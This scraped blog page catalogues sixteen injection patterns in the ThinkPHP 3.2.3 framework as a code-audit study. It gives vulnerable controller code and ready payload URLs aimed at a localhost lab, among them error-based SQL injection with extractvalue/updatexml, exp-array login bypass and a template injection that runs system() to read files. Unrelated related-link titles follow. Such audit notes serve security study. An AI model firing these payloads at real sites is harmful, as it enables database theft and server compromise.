<?php
namespace Home\Controller;
use Think\Controller;
class UserController extends Controller { public function index(/*$id*/)
{
// S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
//在Temp生成文件 生成的文件名字可到cmd5破解
<?php
//000000000000s:12:"
phpinfo()//";
?>
// F('key','<?php phpinfo();?>'); 14.生成缓存文件,在 runtime/key.php
$this->display();
/*
// $name = $_GET['name'];
// $this->assign($name); 13.模板问题 http://127.0.0.1/tp/index.php/home/user/index?name[_content]=<?php system('type index.php');;?>
// $this->display('index'); //'TMPL_ENGINE_TYPE' => 'php'才有效,默认是Think // $map['id'] = 5;
// $map['_query']='username=afanti&score=10'; //12._query参数可控SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )
// $data = M('user')->where($map)->select();
// dump(data);
// $map['id'] = I('id');
// $map['_string'] = 'username='."'".I('username')."'"; //12组合注入 http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )
// $data = M('user')->where($map)->select();
// dump(data); // $user = M("user"); //11.setInc注入
// $user->where('id=5')->setInc('sorce'.I('num')); // if(intval($id)>0)
// { //10、参数传递注入 public\s+function\s+[\w_]+\(\$
// $data = M('user')->where('id='.$id)->select(); //?id=1) 直接绕过判断
// dump($data);
// }
// $map = array();
//
// $data = array();
// $data['user'] = $_POST['username'];
// $data['pass'] = md5($_POST['password']); 9.exp username[0]=exp&username[1]=aa'or 1=1%23&password=1
// M('user')->where($data)->find();
//
// $res = M('member')->where(array('id'=>$_GET['userid']))->count(); 9.exp userid[0]=exp&userid[1]=aaaaaa
//
//// $map['id']=I('id'); //这样exp不可以
// $map['id'] = $_GET['id']; //9.exp 注入http://127.0.0.1/tp/index.php/home/user/index?id[0]=exp&id[1]=aaaaaa
// $data = M('user')->where($map)->select();
// dump($data);
// M('user')->count(I('par')); //8聚合函数 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*
// //8.query,execute支持原生的sql语句 聚合函数
//$Model->index(I('user'))->select(); //7.索引注入
// M('user')->comment(I('comment'))->where('1=1')->select(); //6.comment SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111
// M('user')->where('1=1')->order(array('id'=>I('orderby')))->select(); //5.order,group,having参数可控 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc
// M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select(); // 4.->(alias|join|union)\s*\((\$|\$_|I) 用正则查找 alias|join|union参数可控制
// M('user')->field(I('id'))->where('1=1')->select(); //3.SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控
// M('user')->field(array('id','username'=>I('name')))->select(); //3.field SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //别名 ?name=uname`a报错
// M()->table(I('biao'))->where('1=1')->select(); //2.table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必须存在
// $data = M('user')->where("id=".I('id'))->select(); //1.where后直接直接拼接会产生注入
// dump($data);
// $data = I('id','1','intval');
// echo $data; //URL_PARAMS_BIND == true
// echo $id; //参数绑定 http://127.0.0.1/tp/index.php/home/user/index/id/11111111 传入11111
// echo "usercontroller"; } }

  
 

1.where后直接直接拼接会产生注入

$data = M('user')->where("id=".I('id'))->select();

2.table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必须存在。

M()->table(I('biao'))->where('1=1')->select();

3.

M('user')->field(I('id'))->where('1=1')->select(); //3.SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控导致注入

M('user')->field(array('id','username'=>I('name')))->select(); //3.field SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //别名 ?name=uname`a报错

4.->(alias|join|union)\s*\((\$|\$_|I) 用正则查找 alias|join|union参数可控制

M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select();

5.order,group,having参数可控 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc

M('user')->where('1=1')->order(array('id'=>I('orderby')))->select();

6.comment注入 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111

M('user')->comment(I('comment'))->where('1=1')->select();

7.索引注入

$Model->index(I('user'))->select();

8.query,execute,聚合函数支持原生的sql语句

M('user')->count(I('par')); //聚合函数 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*

9.exp注入

a.)

$data = array();

$data['user'] = $_POST['username'];

$data['pass'] = md5($_POST['password']); payload: username[0]=exp&username[1]=aa'or 1=1%23&password=1

M('user')->where($data)->find();

b.)

$res = M('member')->where(array('id'=>$_GET['userid']))->count();   payload:  userid[0]=exp&userid[1]=aaaaaa

c.)通过I函数exp注入就不存在了

$res = M('member')->where(array('id'=>$I('userid')))->count();

10、参数传递注入 public\s+function\s+[\w_]+\(\$

public function index(/*$id*/)....

if(intval($id)>0)
{
 $data = M('user')->where('id='.$id)->select(); //?id=1) 直接绕过判断
 dump($data);
}
11.setInc注入

$user = M("user");
$user->where('id=5')->setInc('sorce'.I('num'));

12.组合注入

http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti

SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )

$map['id'] = I('id');
$map['_string'] = 'username='."'".I('username')."'"; 
$data = M('user')->where($map)->select();
dump(data);

13、_query参数可控

SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )

$map['id'] = 5;
$map['_query']='username=afanti&score=10'; //12._query参数可控SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )
$data = M('user')->where($map)->select();
dump(data);

14、模板问题:http://127.0.0.1/tp/index.php/home/user/index?name[_content]=<?php system('type index.php');;?>

$name = $_GET['name'];
$this->assign($name); 
$this->display('index'); //'TMPL_ENGINE_TYPE' => 'php'才有效,默认是Think

15、在runtime/key.php

S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
在Temp生成文件 生成的文件名字可到cmd5破解
<?php
//000000000000s:12:"
phpinfo()//";
?>
F('key','<?php phpinfo();?>'); 
$this->display();

thinkphp3.2.3

跨控制器的方法R:

public function test()
{
echo "test";
echo I('name');

$data = M('user')->where('id=1')->select();
 $a = A('User');
 $a->index();
 R('User/index'); //跨控制器
 dump($data);
}

16.select、find、delete注入

public function test()
{
$id = i('id');
$res = M('user')->find($id);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
注入的payload:
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
delete方法注入payload:
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
 

thinkphp3.2.3代码审计的更多相关文章

  1. 代码审计准备之Thinkphp3

    0x01环境部署: 下载: 获取ThinkPHP的方式很多,官方网站(http://thinkphp.cn)是最好的下载和文档获取来源. 官网提供了稳定版本的下载:http://thinkphp.cn ...

  2. 代码审计-Thinkphp3框架EXP表达式SQL注入

    最近看java框架源码也是看的有点头疼,好多还要复习熟悉 还有好多事没做...慢慢熬. 网上好像还没有特别详细的分析 我来误人子弟吧. 0x01 tp3 中的exp表达式 查询表达式的使用格式: $m ...

  3. 代码审计-thinkphp3.2.3框架漏洞sql注入

    开始复现审计一下tp3和tp5的框架漏洞,当个练习吧. 涉及注入的方法为where() table() delete()等. 环境 tp3.2.3 : 0x01 注入成因 测试代码: public f ...

  4. PHP代码审计05之正则使用不当

    前言 根据红日安全写的文章,学习PHP代码审计的第五节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完题目会用一道CTF的题目和实例来加深巩固.这是之前写的,有兴趣可以去看看 ...

  5. Thinkphp3分析与审计

    0x00 前言: 这篇是去年组内分享的时候给小伙伴写的0基础快速审计tp3系列的文章,主要是对架构做个分析以及审计一些sql注入漏洞~ 现在想想打算放出来,过了一年了,可能里面有一些问题,望看到的大佬 ...

  6. thinkphp3.2.3中U()方法和redirect()方法区别

    今天博主看3.1的教程,学着3.2,就遇到了这个坑,怎么就是不跳转呢,很纳闷!! 在thinkphp3.1 中 U()方法是可以执行跳转的(看视频教程里面是可以的,博主没有测试过). 但是在think ...

  7. thinkphp3.2.3版本文件目录及作用

    下载thinkphp3.2.3版本,解压缩后将文件夹名字改为thinkphp,然后放在www目录下,里面的文件夹和文件的名字和作用如下:(前面有Tab健的表示下一级,thinkphp是根目录) //t ...

  8. 基于ThinkPHP3的微信平台开发_1

    微信公众平台是个好东西,具体的就不说了,我直接说技术>_< 下图为目录结构一览: 微信开发 - 文件目录结构 平台功能: 此次开发的平台是面向多微信公众号.微信多公众号主(下面简称号主)的 ...

  9. Thinkphp3.2.3使用Ajax一定注意 数据返回

    Thinkphp3.2.3使用Ajax一定注意 数据返回 $data = 'ok'; $this->ajaxReturn($data); 不能直接 echo $data;

随机推荐

  1. 十九、异步任务编排CompletableFuture

    一.简介 并发编程中我们经常创建异步线程来执行任务.但是,当异步任务之间存在依赖关系时,使得我们开发过程变得更加复杂.比如: 1.线程2依赖于线程1的执行结果 2.线程3依赖于线程1和线程2执行结果的 ...

  2. 二、hive shell常用命令

    在使用hive shell之前我们需要先安装hive,并启动hdfs 请参考:https://www.cnblogs.com/lay2017/p/9973298.html hive shell 我们先 ...

  3. g2o error

    /home/lzp/slamtest/graduationcode/p3/poseestimation/pose_estimation_3d2d.cpp: In function ‘void bund ...

  4. libevent学习笔记 —— 牛刀小试:简易的服务器

    回想起之前自己用纯c手动写epoll循环,libevent用起来还真是很快捷啊!重写了之前学习的时候的一个例子,分别用纯c与libevent来实现.嗯,为了方便对比一下,就一个文件写到黑了. 纯c版: ...

  5. 在弹框中获取foreach中遍历的id值,并传递给地址栏(方法2)

    1.php有时候我们需要再弹框中获取foreach中遍历的数据(例如id),在弹框中点击按钮并传递给地址栏跳转.那么应该怎么做呢.第二种方法. 2. 可以在弹框中给出一个input hidden 点击 ...

  6. 将本地项目放到GitHub上托管并展示

    忽然知道自己写的项目效果可以放到网上让别人看到之后,就已经迫不及待了.不墨迹,先去了解GitHub得知,它很强(牛逼),我理解的是这是一个托管平台,可以把自己本地的项目通过git放到上面,你需要新建一 ...

  7. Fragment 底部菜单栏

    实例讲解一 实例效果图: 点击wifi“按钮”显示的界面: 项目结构 具体代码编写 1.左边页面布局界面,frag_list.xml: <?xml version="1.0" ...

  8. OpenStack 学习笔记 (一)

    后续的文章都贴在:臭蛋上 这一系列笔记已经记录很长一段时间了,种种原因没有贴出来,现在陆陆续续的贴出来.可能由于自己理解的 错误和疏忽,导致存在错误,欢迎大家指正,交流. 所有的源码分析都是基于Ope ...

  9. Ubuntu更换硬盘

    0x00 背景: 目前ubuntu用的是一个80g的硬盘( 一开始没买硬盘,直接拆了一个老老老老的机子来用),系统16.04, 只有一个/分区 ( /dev/sdb1 ) . 新的硬盘是一块256G的 ...

  10. 常用的自动化测试框架及测试框架的发展(Alpha)

    前言:自动化测试在过去的20年已经有了很大的发展.最初的测试工具只提供了简单的捕捉/回访功能,维护性较差.而且脚本工具实现需要很强的开发技术和经验,而且数量众多的测试脚本加上没有文档记录因此维护起来较 ...